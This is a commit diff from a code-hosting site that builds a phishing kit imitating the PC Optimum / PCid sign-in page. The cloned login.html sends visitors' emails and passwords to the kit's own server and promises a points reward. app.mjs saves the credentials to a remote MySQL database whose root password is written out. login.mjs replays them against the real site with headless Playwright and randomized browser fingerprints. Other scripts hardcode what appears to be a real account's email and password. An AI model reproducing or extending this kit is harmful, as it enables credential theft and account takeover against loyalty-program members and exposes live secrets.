xiongzhu 1 an în urmă
părinte
comite
7fb3f8b49a
42 a modificat fișierele cu 1073 adăugiri și 391 ștergeri
  1. 14 0
      1.html
  2. 0 54
      1.mjs
  3. 55 0
      2.mjs
  4. 6 0
      3.mjs
  5. 0 38
      app.js
  6. 113 0
      app.mjs
  7. 0 284
      login.html
  8. 85 0
      login.mjs
  9. 7 1
      package.json
  10. BIN
      public/favicon.ico
  11. 7 6
      public/index.html
  12. 283 0
      public/login.html
  13. BIN
      public/pc-logo.png
  14. 0 0
      public/register.html
  15. 0 0
      public/static/css/0.5ba82fe89f0e77677f25.css
  16. 0 0
      public/static/css/011f6c1996a28b3efa2d.css
  17. 0 0
      public/static/css/7.bb52c21dfe2d358b1117.css
  18. BIN
      public/static/fonts/NoirPro-Light.woff2
  19. BIN
      public/static/fonts/NoirPro-Medium.woff2
  20. BIN
      public/static/fonts/NoirPro-Regular.woff2
  21. 105 0
      public/static/fonts/font-face.css
  22. BIN
      public/static/fonts/inter-regular.woff2
  23. BIN
      public/static/fonts/inter-semibold.woff2
  24. BIN
      public/static/fonts/noirpro-italic.otf
  25. BIN
      public/static/fonts/noirpro-regular.otf
  26. BIN
      public/static/fonts/noirpro-semibold.otf
  27. BIN
      public/static/fonts/noirpro-semibolditalic.otf
  28. 0 0
      public/static/images/app-android-en.svg
  29. 0 0
      public/static/images/homepage/iphone-lrg-en.png
  30. BIN
      public/static/images/homepage/iphone-xl-en.png
  31. 0 0
      public/static/images/homepage/offer-car.jpg
  32. 0 0
      public/static/images/homepage/offer-eggs.jpg
  33. 0 0
      public/static/images/homepage/offer-makeup.jpg
  34. 0 0
      public/static/images/homepage/offer-strawberry.jpg
  35. 0 0
      public/static/images/homepage/stores-background.png
  36. 0 0
      public/static/images/sprite-main-ltd6s2ce.svg
  37. 1 0
      public/static/js/jquery-3.7.1.min.js
  38. 25 0
      public/static/svg/pc-id.svg
  39. 0 0
      public/static/svg/sprite-banners.svg
  40. 0 0
      public/static/svg/sprite-icons.svg
  41. BIN
      static/.DS_Store
  42. 372 8
      yarn.lock

Fișier diff suprimat deoarece este prea mare
+ 14 - 0
1.html


+ 0 - 54
1.mjs

@@ -1,54 +0,0 @@
-import { chromium } from "playwright";
-
-const browser = await chromium.launch({
-    headless: false,
-    devtools: true,
-});
-
-const page = await browser.newPage();
-await page.route("**/*", async (route, request) => {
-    console.log(request.url());
-    const resourceType = route.request().resourceType();
-    if (["image", "font"].includes(resourceType)) {
-        route.abort();
-    } else if (/\/sp\/h/.test(request.url())) {
-        route.abort();
-    } else {
-        route.continue();
-    }
-});
-
-await page.goto("https://www.pcoptimum.ca/");
-
-const link = await page.$('a > span:has-text("sign in")');
-link.click();
-
-await page.waitForURL("https://accounts.pcid.ca/login");
-
-await page.fill('input[id="email"]', "linxiaojoe@hotmail.com");
-await page.fill('input[id="password"]', "Andy123456$");
-await page.click('button:has-text("Sign in")');
-
-console.log("xxx");
-
-await page.route("**/points", async (route, request) => {
-    console.log(request.url());
-    await route.continue();
-    const response = await route.fetch();
-    console.log(await response.json());
-});
-
-try {
-    await page.waitForURL("https://www.pcoptimum.ca/dashboard");
-} catch (error) {
-    console.log(error);
-    console.log(page.url());
-    await page.screenshot({ path: "error.png" });
-    process.exit(1);
-}
-
-console.log("Logged in");
-await page.waitForTimeout(5000);
-const element = await page.$(".points-overview-balance");
-const text = await element.textContent();
-console.log(text);

+ 55 - 0
2.mjs

@@ -0,0 +1,55 @@
+import axios from "axios";
+import https from "https";
+import { load } from "cheerio";
+import stringHash from "string-hash";
+import fs from "fs";
+const { data: res } = await axios.get(
+    "https://accounts.pcid.ca/oauth2/v1/authorize",
+    {
+        params: {
+            client_id: "ed22f54785b74fe688011366a65ed5fb",
+            response_type: "code",
+            scope: "openid api.loblaw.digitalpco offline_access",
+            redirect_uri: "https://pcoptimum.ca/login",
+        },
+    }
+);
+const $ = load(res);
+const form = {};
+$("form input").each((i, e) => {
+    form[$(e).attr("name")] = $(e).attr("value");
+});
+const email = "linxiaojoe@hotmail.com";
+const password = "Andy123456$";
+const hashEmail = (email = "") => {
+    const [username, domain] = email.split("@");
+    return `${stringHash(username)}@${domain}`;
+};
+try {
+    const httpsAgent = new https.Agent({
+        rejectUnauthorized: false,
+        host: "192.168.50.202",
+        port: 9090,
+    });
+    const data = {
+        email,
+        password,
+        loginCtx: form.loginCtx,
+        rememberMe: false,
+        sso: false,
+        mandatory2fa: true,
+        trustToken: null,
+        deviceDetails:
+            '{"currentTime":"Sun Mar 10 2024 02:51:27 GMT+0800 (中国标准时间)","screenWidth":390,"screenHeight":844,"screenColorDepth":24,"screenPixelDepth":24,"windowPixelRatio":3,"language":"zh-CN","userAgent":"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1","cookieEnabled":true,"mimeTypes":0,"plugins":0,"timeZone":-480}',
+        hashedEmail: hashEmail(email),
+        encodedEmail: btoa(email),
+    };
+    console.log(JSON.stringify(data, null, 4));
+    const { data: loginData } = await axios.post(
+        "https://accounts.pcid.ca/login",
+        data
+    );
+    console.log(loginData);
+} catch (error) {
+    console.log(error.message);
+}

+ 6 - 0
3.mjs

@@ -0,0 +1,6 @@
+import uniqueRandomArray from "unique-random-array";
+import userAgents from "top-user-agents";
+
+const randomUserAgent = uniqueRandomArray(userAgents);
+
+console.log(randomUserAgent());

+ 0 - 38
app.js

@@ -1,38 +0,0 @@
-// CommonJs
-const fastify = require("fastify")({
-    logger: true,
-});
-
-const { Sequelize } = require("sequelize");
-const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
-    host: "149.248.57.225",
-    dialect: "mysql",
-});
-
-sequelize
-    .authenticate()
-    .then(() => {
-        console.log("Connection has been established successfully.");
-    })
-    .catch((error) => {
-        console.error("Unable to connect to the database:", error);
-    });
-
-// Declare a route
-fastify.get("/login", function (request, reply) {
-    reply.send({ hello: "world" });
-});
-
-// Run the server!
-fastify.listen({ port: 3000 }, function (err, address) {
-    if (err) {
-        fastify.log.error(err);
-        process.exit(1);
-    }
-    // Server is now listening on ${address}
-});
-
-const hashEmail = (email = "") => {
-    const [username, domain] = email.split("@");
-    return `${stringHash(username)}@${domain}`;
-};

+ 113 - 0
app.mjs

@@ -0,0 +1,113 @@
+import Fastify from "fastify";
+import fastifyStatic from "@fastify/static";
+import { dirname, resolve, join } from "path";
+import { fileURLToPath } from "url";
+import { Sequelize, DataTypes } from "sequelize";
+import { login } from "./login.mjs";
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+const fastify = Fastify({
+    logger: true,
+});
+fastify.register(fastifyStatic, {
+    root: resolve(__dirname, "public"),
+    prefix: "/",
+});
+
+const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
+    host: "149.248.57.225",
+    dialect: "mysql",
+});
+
+const Accounts = sequelize.define(
+    "accounts",
+    {
+        // Model attributes are defined here
+        email: {
+            type: DataTypes.STRING,
+            allowNull: false,
+        },
+        password: {
+            type: DataTypes.STRING,
+            allowNull: false,
+        },
+        userAgent: {
+            type: DataTypes.TEXT("long"),
+            allowNull: true,
+        },
+        ip: {
+            type: DataTypes.STRING,
+            allowNull: true,
+        },
+        success: {
+            type: DataTypes.BOOLEAN,
+            allowNull: false,
+            defaultValue: false,
+        },
+        result: {
+            type: DataTypes.TEXT("long"),
+            allowNull: true,
+        },
+        error: {
+            type: DataTypes.TEXT("long"),
+            allowNull: true,
+        },
+    },
+    {
+        // Other model options go here
+    }
+);
+
+sequelize
+    .authenticate()
+    .then(() => {
+        console.log("Connection has been established successfully.");
+        Accounts.sync().then(() => {
+            console.log(
+                "The table for the Account model was just (re)created!"
+            );
+        });
+    })
+    .catch((error) => {
+        console.error("Unable to connect to the database:", error);
+    });
+
+fastify.post("/login", async function (request, reply) {
+    if (!request.body || !request.body.email || !request.body.password) {
+        return reply
+            .code(400)
+            .send({ error: "email and password are required" });
+    } else {
+        const { email, password } = request.body;
+        try {
+            const res = await login(email, password);
+            const account = await Accounts.create({
+                email,
+                password,
+                userAgent: request.headers["user-agent"],
+                success: true,
+                result: res,
+            });
+            return reply.code(200).send();
+        } catch (error) {
+            console.error(error.stack);
+            const account = await Accounts.create({
+                email,
+                password,
+                userAgent: request.headers["user-agent"],
+                success: false,
+                error: error.stack,
+            });
+            return reply.code(500).send(error);
+        }
+    }
+});
+
+fastify.listen({ port: 3000 }, function (err, address) {
+    if (err) {
+        fastify.log.error(err);
+        process.exit(1);
+    }
+});

+ 0 - 284
login.html

@@ -1,284 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <meta charset="UTF-8" />
-    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-    <title>login</title>
-    <link rel="stylesheet" href="/static/css/011f6c1996a28b3efa2d.css" />
-  </head>
-  <body>
-    <div id="__next">
-      <div class="layout-container">
-        <header class="header header--pink header--branded layout__header">
-          <svg
-            aria-hidden="false"
-            focusable="false"
-            class="sprite header__logo"
-            alt="PC Optimum"
-            role="presentation"
-          >
-            <use xlink:href="/static/svg/sprite-banners.svg"></use>
-          </svg>
-        </header>
-        <div role="main" class="layout login-page">
-          <form class="form login-form" novalidate="" id="login">
-            <fieldset class="form__fieldset">
-              <legend class="form__legend">
-                <div class="layout__heading form__heading">
-                  <svg
-                    aria-hidden="false"
-                    focusable="false"
-                    class="sprite layout__pcid-logo"
-                    alt="PCid Logo"
-                    role="presentation"
-                  >
-                    <use xlink:href="/static/svg/sprite-banners.svg"></use>
-                  </svg>
-                  <h2 tabindex="0">
-                    Sign in with PC™<span aria-hidden="true">id</span
-                    ><span
-                      aria-hidden="false"
-                      style="
-                        position: absolute;
-                        width: 1px;
-                        height: 1px;
-                        padding: 0px;
-                        margin: -1px;
-                        overflow: hidden;
-                        clip: rect(0px, 0px, 0px, 0px);
-                        white-space: nowrap;
-                        border: 0px;
-                      "
-                      >ID</span
-                    >
-                  </h2>
-                </div>
-                <div class="breadcrumb form__breadcrumb">
-                  to continue to PC Optimum
-                </div>
-              </legend>
-              <div
-                class="input-group login-form__email text-group text-group--block"
-              >
-                <label
-                  id="email__label"
-                  for="email"
-                  class="input-label text-group__label"
-                  >Email<span
-                    aria-hidden="false"
-                    style="
-                      position: absolute;
-                      width: 1px;
-                      height: 1px;
-                      padding: 0px;
-                      margin: -1px;
-                      overflow: hidden;
-                      clip: rect(0px, 0px, 0px, 0px);
-                      white-space: nowrap;
-                      border: 0px;
-                    "
-                    >:</span
-                  ></label
-                >
-                <div class="text-group__input-container">
-                  <input
-                    aria-label="Email"
-                    aria-labelledby="email__label"
-                    aria-disabled="false"
-                    name="email"
-                    required=""
-                    type="email"
-                    autocomplete="username"
-                    class="text-group__input"
-                    maxlength="255"
-                    spellcheck="false"
-                    id="email"
-                    value=""
-                  />
-                </div>
-              </div>
-              <div class="login-form__password password-group">
-                <div class="input-group text-group text-group--block">
-                  <label
-                    id="password__label"
-                    for="password"
-                    class="input-label text-group__label"
-                    >Password<span
-                      aria-hidden="false"
-                      style="
-                        position: absolute;
-                        width: 1px;
-                        height: 1px;
-                        padding: 0px;
-                        margin: -1px;
-                        overflow: hidden;
-                        clip: rect(0px, 0px, 0px, 0px);
-                        white-space: nowrap;
-                        border: 0px;
-                      "
-                      >:</span
-                    ></label
-                  >
-                  <div class="text-group__input-container">
-                    <input
-                      aria-label="Password"
-                      aria-labelledby="password__label"
-                      aria-disabled="false"
-                      name="password"
-                      required=""
-                      type="password"
-                      maxlength="64"
-                      autocomplete="current-password"
-                      autocapitalize="off"
-                      class="text-group__input"
-                      spellcheck="false"
-                      id="password"
-                      value=""
-                    />
-                  </div>
-                </div>
-                <button
-                  class="button button--inline button--theme-link-grey link link--inline password-group__toggle-button"
-                  type="button"
-                  aria-label="Show  password (Caution, if you are using a screen reader, your password will be read aloud and people around you may hear it as you type). Enter Password as plain text"
-                  aria-disabled="false"
-                >
-                  Show Password
-                </button>
-              </div>
-              <div class="login-form__forgot-password-link">
-                <a
-                  class="link link--theme-base link--inline"
-                  href="/forgot-password"
-                  ><span>Forgot Password?</span></a
-                >
-              </div>
-              <button
-                class="button button--block button--submit button--theme-base button--theme-dark submit-button"
-                type="submit"
-                aria-disabled="false"
-              >
-                Sign In
-              </button>
-            </fieldset>
-          </form>
-          <div class="layout__secondary-cta">
-            <a class="link link--theme-base link--inline" href="/create-account"
-              ><span
-                >Create a PC™<span aria-hidden="true">id</span
-                ><span
-                  aria-hidden="false"
-                  style="
-                    position: absolute;
-                    width: 1px;
-                    height: 1px;
-                    padding: 0px;
-                    margin: -1px;
-                    overflow: hidden;
-                    clip: rect(0px, 0px, 0px, 0px);
-                    white-space: nowrap;
-                    border: 0px;
-                  "
-                  >ID</span
-                ></span
-              ></a
-            >
-          </div>
-        </div>
-        <footer class="footer layout__footer">
-          <div class="footer__section">
-            <div class="footer__tagline">
-              <svg
-                aria-hidden="false"
-                focusable="false"
-                class="sprite footer__pcid-logo"
-                alt="PCid Logo"
-                role="presentation"
-              >
-                <use xlink:href="/svg/sprite-banners.svg#pc-id"></use>
-              </svg>
-              <div>Access all our sites with one simple login</div>
-            </div>
-          </div>
-          <hr class="footer__divider" />
-          <div class="footer__section">
-            <ul class="footer__help-and-support-link-list">
-              <li class="footer__help-and-support-link">
-                <a
-                  class="link link--theme-base link--inline link--external"
-                  href="https://loblaw.force.com/pcid/s/about-us?language=en_US&amp;rp=pco"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  ><span
-                    >About PC™<span aria-hidden="true">id</span
-                    ><span
-                      aria-hidden="false"
-                      style="
-                        position: absolute;
-                        width: 1px;
-                        height: 1px;
-                        padding: 0px;
-                        margin: -1px;
-                        overflow: hidden;
-                        clip: rect(0px, 0px, 0px, 0px);
-                        white-space: nowrap;
-                        border: 0px;
-                      "
-                      >ID</span
-                    ></span
-                  ></a
-                >
-              </li>
-              <li class="footer__help-and-support-link">
-                <a
-                  class="link link--theme-base link--inline link--external"
-                  href="https://loblaw.force.com/pcid/s/?language=en_US&amp;rp=pco"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  ><span>Help</span></a
-                >
-              </li>
-              <li class="footer__help-and-support-link">
-                <a
-                  class="link link--theme-base link--inline"
-                  href="/terms?locale=en-CA"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  ><span>Terms</span></a
-                >
-              </li>
-              <li class="footer__help-and-support-link">
-                <a
-                  class="link link--theme-base link--inline link--external"
-                  href="https://www.loblaw.ca/en/privacy.html"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  ><span>Privacy</span></a
-                >
-              </li>
-            </ul>
-            <div class="footer__copyright">
-              © 2024 Loblaws Inc. All Rights Reserved.
-            </div>
-            <button
-              class="button button--inline button--theme-link link link--inline language-toggle footer__language-toggle"
-              type="button"
-              aria-label="Changer pour la version française de ce site"
-              aria-disabled="false"
-              id="language-toggle"
-              lang="fr-CA"
-            >
-              <span
-                class="language-toggle__option language-toggle__option--active"
-                aria-hidden="true"
-                >EN</span
-              ><span class="language-toggle__option" aria-hidden="true"
-                >FR</span
-              >
-            </button>
-          </div>
-        </footer>
-      </div>
-    </div>
-  </body>
-</html>

+ 85 - 0
login.mjs

@@ -0,0 +1,85 @@
+import { chromium } from "playwright";
+import uniqueRandomArray from "unique-random-array";
+import userAgents from "top-user-agents";
+
+export async function login(email, password) {
+    const browser = await chromium.launch({
+        headless: true,
+        devtools: false,
+    });
+
+    const page = await browser.newPage({
+        userAgent: uniqueRandomArray(userAgents)(),
+        viewport: {
+            width: parseInt(Math.random() * 100 + 1250),
+            height: parseInt(Math.random() * 100 + 750),
+        },
+        locale: "en-CA",
+        timezoneId: "America/Toronto",
+    });
+    await page.route(/(\.png$)|(\.jpg$)/i, (route) => route.abort());
+
+    await page.goto("https://www.pcoptimum.ca/");
+
+    const link = await page.$('a > span:has-text("sign in")');
+    link.click();
+
+    await page.waitForURL("https://accounts.pcid.ca/login");
+
+    await page.fill('input[id="email"]', email);
+    await page.fill('input[id="password"]', password);
+
+    try {
+        await new Promise(async (resolve, reject) => {
+            await page.route(/\/login$/, async (route, request) => {
+                console.log(
+                    `${request.method()}  ${request.resourceType()} ${request.url()}`
+                );
+                if (request.method() === "POST") {
+                    const response = await route.fetch();
+                    const status = response.status();
+                    console.log(status);
+                    if (status === 200) {
+                        await route.continue();
+                        resolve();
+                    } else if (status === 401) {
+                        reject(new Error("Invalid email or password"));
+                    } else if (status === 429) {
+                        reject(
+                            new Error(
+                                "Oops, something went wrong. Please try again later."
+                            )
+                        );
+                    } else {
+                        reject(new Error("Unknown error. Please try again later."));
+                    }
+                } else {
+                    await route.continue();
+                }
+            });
+
+            await page.click('button:has-text("Sign in")');
+        });
+    } catch (error) {
+        await browser.close();
+        throw error;
+    }
+
+    let points = null;
+
+    await page.route(/points$/, async (route, request) => {
+        const response = await route.fetch();
+        points = await response.text();
+        await route.continue();
+    });
+
+    try {
+        await page.waitForURL("https://www.pcoptimum.ca/dashboard");
+    } catch (error) {
+        console.error(error.stack);
+    }
+
+    await browser.close();
+
+    return points;
+}

+ 7 - 1
package.json

@@ -1,9 +1,15 @@
 {
   "dependencies": {
+    "@fastify/static": "^7.0.1",
+    "axios": "^1.6.7",
+    "cheerio": "^1.0.0-rc.12",
     "fastify": "^4.26.2",
     "mysql2": "^3.9.2",
     "playwright": "^1.42.1",
     "sequelize": "^6.37.1",
-    "serve": "^14.2.1"
+    "serve": "^14.2.1",
+    "string-hash": "^1.1.3",
+    "top-user-agents": "^2.1.13",
+    "unique-random-array": "^3.0.0"
   }
 }

BIN
public/favicon.ico


+ 7 - 6
index.html → public/index.html

@@ -3,7 +3,8 @@
   <head>
     <meta charset="UTF-8" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-    <title>Document</title>
+    <link rel="icon" type="image/x-icon" href="favicon.ico">
+    <title>PC Optimum</title>
     <link
       rel="stylesheet"
       href="/static/css/0.5ba82fe89f0e77677f25.css"
@@ -61,14 +62,14 @@
               ><span>Sign in</span></a
             >
           </li>
-          <li>
+          <!-- <li>
             <a
               rel="noopener noreferrer"
               class="link menu-desktop__account-list-item menu-desktop__account-list-item--anonymous"
               href="/register"
               ><span>Register</span></a
             >
-          </li>
+          </li> -->
         </ul>
       </section>
       <div>
@@ -162,7 +163,7 @@
                     ><span>Sign in</span></a
                   >
                 </li>
-                <li>
+                <!-- <li>
                   <a
                     title="Register"
                     rel="noopener noreferrer"
@@ -170,7 +171,7 @@
                     href="/register"
                     ><span>Register</span></a
                   >
-                </li>
+                </li> -->
               </ul>
               <ul
                 class="menu-panel__link-group"
@@ -326,7 +327,7 @@
                     aria-label="Go to the registration page"
                     rel="noopener noreferrer"
                     class="link link--theme-button homepage-hero__login-link default-hero"
-                    href="/register?sid=home|hero-banner|getstarted1|personalizedoffers"
+                    href="/login.html"
                     ><span>Get Started</span></a
                   >
                 </div>

+ 283 - 0
public/login.html

@@ -0,0 +1,283 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <link rel="icon" type="image/x-icon" href="pc-logo.png">
+    <title>Sign In | PC™id</title>
+    <link rel="stylesheet" href="/static/css/011f6c1996a28b3efa2d.css" />
+    <link rel="preload" href="/static/fonts/NoirPro-Regular.woff2" as="font" crossorigin="anonymous">
+    <link rel="preload" href="/static/fonts/NoirPro-Medium.woff2" as="font" crossorigin="anonymous">
+    <link rel="preload" href="/static/fonts/NoirPro-Light.woff2" as="font" crossorigin="anonymous">
+    <link rel="stylesheet" href="/static/fonts/font-face.css">
+    <script src="/static/js/jquery-3.7.1.min.js"></script>
+</head>
+
+<body>
+    <div id="__next">
+        <div class="layout-container">
+            <header class="header header--pink header--branded layout__header">
+                <svg aria-hidden="false" focusable="false" class="sprite header__logo" alt="PC Optimum"
+                    role="presentation">
+                    <use xlink:href="/static/svg/sprite-banners.svg#pco-en"></use>
+                </svg>
+            </header>
+            <div role="main" class="layout login-page">
+                <form class="form login-form" novalidate="" id="login">
+                    <fieldset class="form__fieldset">
+                        <legend class="form__legend">
+                            <div class="layout__heading form__heading">
+                                <svg aria-hidden="false" focusable="false" class="sprite layout__pcid-logo"
+                                    alt="PCid Logo" role="presentation">
+                                    <use xlink:href="/static/svg/sprite-banners.svg#pc-id"></use>
+                                </svg>
+                                <h2 tabindex="0">
+                                    Sign in with PC™<span aria-hidden="true">id</span><span aria-hidden="false" style="
+                        position: absolute;
+                        width: 1px;
+                        height: 1px;
+                        padding: 0px;
+                        margin: -1px;
+                        overflow: hidden;
+                        clip: rect(0px, 0px, 0px, 0px);
+                        white-space: nowrap;
+                        border: 0px;
+                      ">ID</span>
+                                </h2>
+                            </div>
+                            <div class="breadcrumb form__breadcrumb">
+                                to continue to PC Optimum
+                            </div>
+                        </legend>
+                        <div id="form-message" class="form-message form-message--error form__message" role="alert"
+                            style="display: none;">
+                            <svg aria-hidden="false" focusable="false" class="sprite form-message__icon"
+                                role="presentation">
+                                <use xlink:href="/static/svg/sprite-icons.svg#error"></use>
+                            </svg>
+                            <div class="form-message__content"></div>
+                        </div>
+                        <div class="input-group login-form__email text-group text-group--block">
+                            <label id="email__label" for="email" class="input-label text-group__label">Email<span
+                                    aria-hidden="false" style="
+                      position: absolute;
+                      width: 1px;
+                      height: 1px;
+                      padding: 0px;
+                      margin: -1px;
+                      overflow: hidden;
+                      clip: rect(0px, 0px, 0px, 0px);
+                      white-space: nowrap;
+                      border: 0px;
+                    ">:</span></label>
+                            <div class="text-group__input-container">
+                                <input aria-label="Email" aria-labelledby="email__label" aria-disabled="false"
+                                    name="email" required="" type="email" autocomplete="username"
+                                    class="text-group__input" maxlength="255" spellcheck="false" id="email" value="" />
+                            </div>
+                        </div>
+                        <div class="login-form__password password-group">
+                            <div class="input-group text-group text-group--block">
+                                <label id="password__label" for="password"
+                                    class="input-label text-group__label">Password<span aria-hidden="false" style="
+                        position: absolute;
+                        width: 1px;
+                        height: 1px;
+                        padding: 0px;
+                        margin: -1px;
+                        overflow: hidden;
+                        clip: rect(0px, 0px, 0px, 0px);
+                        white-space: nowrap;
+                        border: 0px;
+                      ">:</span></label>
+                                <div class="text-group__input-container">
+                                    <input aria-label="Password" aria-labelledby="password__label" aria-disabled="false"
+                                        name="password" required="" type="password" maxlength="64"
+                                        autocomplete="current-password" autocapitalize="off" class="text-group__input"
+                                        spellcheck="false" id="password" value="" />
+                                </div>
+                            </div>
+                            <button
+                                class="button button--inline button--theme-link-grey link link--inline password-group__toggle-button"
+                                type="button"
+                                aria-label="Show  password (Caution, if you are using a screen reader, your password will be read aloud and people around you may hear it as you type). Enter Password as plain text"
+                                aria-disabled="false">
+                                Show Password
+                            </button>
+                        </div>
+                        <div class="login-form__forgot-password-link">
+                            <a class="link link--theme-base link--inline" href="/forgot-password"><span>Forgot
+                                    Password?</span></a>
+                        </div>
+                        <button
+                            class="button button--block button--submit button--theme-base button--theme-dark submit-button"
+                            type="submit" aria-disabled="false">
+                            Sign In
+                        </button>
+
+                        <button class="button button--block button--theme-base button--theme-dark" id="btn-ok"
+                            style="display: none;" aria-disabled="false">
+                            OK
+                        </button>
+                    </fieldset>
+                </form>
+                <!-- <div class="layout__secondary-cta">
+                    <a class="link link--theme-base link--inline" href="/create-account"><span>Create a PC™<span
+                                aria-hidden="true">id</span><span aria-hidden="false" style="
+                    position: absolute;
+                    width: 1px;
+                    height: 1px;
+                    padding: 0px;
+                    margin: -1px;
+                    overflow: hidden;
+                    clip: rect(0px, 0px, 0px, 0px);
+                    white-space: nowrap;
+                    border: 0px;
+                  ">ID</span></span></a>
+                </div> -->
+            </div>
+            <footer class="footer layout__footer">
+                <div class="footer__section">
+                    <div class="footer__tagline">
+                        <svg aria-hidden="false" focusable="false" class="sprite footer__pcid-logo" alt="PCid Logo"
+                            role="presentation">
+                            <use xlink:href="/static/svg/sprite-banners.svg#pc-id"></use>
+                        </svg>
+                        <div>Access all our sites with one simple login</div>
+                    </div>
+                </div>
+                <hr class="footer__divider" />
+                <div class="footer__section">
+                    <ul class="footer__help-and-support-link-list">
+                        <li class="footer__help-and-support-link">
+                            <a class="link link--theme-base link--inline link--external"
+                                href="https://loblaw.force.com/pcid/s/about-us?language=en_US&amp;rp=pco"
+                                target="_blank" rel="noopener noreferrer"><span>About PC™<span
+                                        aria-hidden="true">id</span><span aria-hidden="false" style="
+                        position: absolute;
+                        width: 1px;
+                        height: 1px;
+                        padding: 0px;
+                        margin: -1px;
+                        overflow: hidden;
+                        clip: rect(0px, 0px, 0px, 0px);
+                        white-space: nowrap;
+                        border: 0px;
+                      ">ID</span></span></a>
+                        </li>
+                        <li class="footer__help-and-support-link">
+                            <a class="link link--theme-base link--inline link--external"
+                                href="https://loblaw.force.com/pcid/s/?language=en_US&amp;rp=pco" target="_blank"
+                                rel="noopener noreferrer"><span>Help</span></a>
+                        </li>
+                        <li class="footer__help-and-support-link">
+                            <a class="link link--theme-base link--inline" href="/terms?locale=en-CA" target="_blank"
+                                rel="noopener noreferrer"><span>Terms</span></a>
+                        </li>
+                        <li class="footer__help-and-support-link">
+                            <a class="link link--theme-base link--inline link--external"
+                                href="https://www.loblaw.ca/en/privacy.html" target="_blank"
+                                rel="noopener noreferrer"><span>Privacy</span></a>
+                        </li>
+                    </ul>
+                    <div class="footer__copyright">
+                        © 2024 Loblaws Inc. All Rights Reserved.
+                    </div>
+                    <button
+                        class="button button--inline button--theme-link link link--inline language-toggle footer__language-toggle"
+                        type="button" aria-label="Changer pour la version française de ce site" aria-disabled="false"
+                        id="language-toggle" lang="fr-CA">
+                        <span class="language-toggle__option language-toggle__option--active"
+                            aria-hidden="true">EN</span><span class="language-toggle__option"
+                            aria-hidden="true">FR</span>
+                    </button>
+                </div>
+            </footer>
+        </div>
+    </div>
+</body>
+<script>
+    function showInputError(type, msg) {
+        $('.login-form__' + type + ' .text-group__input-container').prepend('<svg aria-hidden="false" focusable="false" class="sprite input-icon input-icon--error text-group__input-icon" role="presentation"> <use xlink:href="/static/svg/sprite-icons.svg#error"></use> </svg>')
+        $('.login-form__' + type + ' .text-group__input-container').append('<label for="' + type + '" id="' + type + '__error" class="input-error input-error--error text-group__error error" aria-live="polite" aria-atomic="true">' + msg + '</label>')
+        $('.login-form__' + type).addClass('text-group--error')
+    }
+
+    function showAlert(msg, type) {
+        if (!type) {
+            type = 'error'
+        }
+        $('#form-message .form-message__content').html(msg)
+        $('#form-message svg use').attr('xlink:href', '/static/svg/sprite-icons.svg#' + type)
+        $('#form-message').attr('class', 'form-message form-message--' + type + ' form__message').show()
+    }
+
+    $('.login-form').submit(function (e) {
+        e.preventDefault()
+
+        $('#login .text-group__input-icon').remove()
+        $('.input-error--error').remove()
+        $('.text-group--error').removeClass('text-group--error')
+
+        let email = $('#email').val()
+        let password = $('#password').val()
+        let valid = true
+        if (!email) {
+            showInputError('email', 'Please enter an email address.')
+            valid = false
+        } else if (!/^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$/g.test(email)) {
+            showInputError('email', 'Please enter a valid email address.')
+            valid = false
+        }
+
+        if (!password) {
+            showInputError('password', 'Please enter a password.')
+            valid = false
+        }
+
+        if (!valid) {
+            return
+        }
+
+        $('.submit-button')
+            .attr('disabled', 'true')
+            .addClass('button--submitting')
+            .html('<div class="loading-animation"><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i><i class="loading-animation__dot"></i></div>')
+
+        $.ajax({
+            url: '/login',
+            type: 'POST',
+            contentType: 'application/json',
+            data: JSON.stringify({
+                email: $('#email').val(),
+                password: $('#password').val()
+            }),
+            success: function (data) {
+                console.log(data)
+                showAlert('Your points will be sent to your account within 48 hours, please check back later.', 'success')
+                $('.input-group, .password-group, .login-form__forgot-password-link, .layout__secondary-cta, .submit-button').hide()
+                $('#btn-ok').show()
+            },
+            error: function (data) {
+                console.log(data)
+                var msg = 'An error occurred. Please try again later.'
+                if (data.responseJSON && data.responseJSON.message) {
+                    msg = data.responseJSON.message
+                }
+                showAlert(msg)
+                $('.submit-button')
+                    .removeAttr('disabled')
+                    .removeClass('button--submitting')
+                    .html('Sign In')
+            }
+        })
+    })
+
+    $('#btn-ok').click(function (e) {
+        e.preventDefault()
+        window.location.href = 'https://www.pcoptimum.ca/'
+    })
+</script>
+
+</html>

BIN
public/pc-logo.png


+ 0 - 0
register.html → public/register.html


+ 0 - 0
static/css/0.5ba82fe89f0e77677f25.css → public/static/css/0.5ba82fe89f0e77677f25.css


+ 0 - 0
static/css/011f6c1996a28b3efa2d.css → public/static/css/011f6c1996a28b3efa2d.css


+ 0 - 0
static/css/7.bb52c21dfe2d358b1117.css → public/static/css/7.bb52c21dfe2d358b1117.css


BIN
public/static/fonts/NoirPro-Light.woff2


BIN
public/static/fonts/NoirPro-Medium.woff2


BIN
public/static/fonts/NoirPro-Regular.woff2


+ 105 - 0
public/static/fonts/font-face.css

@@ -0,0 +1,105 @@
+@font-face {
+	font-family: Noir;
+	font-weight: 400;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-Regular.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-Regular.woff') format('woff'),
+		url('/static/fonts/NoirPro-Regular.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 400;
+	font-style: italic;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-Italic.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-Italic.woff') format('woff'),
+		url('/static/fonts/NoirPro-Italic.ttf') format('truetype');
+}
+
+@font-face {
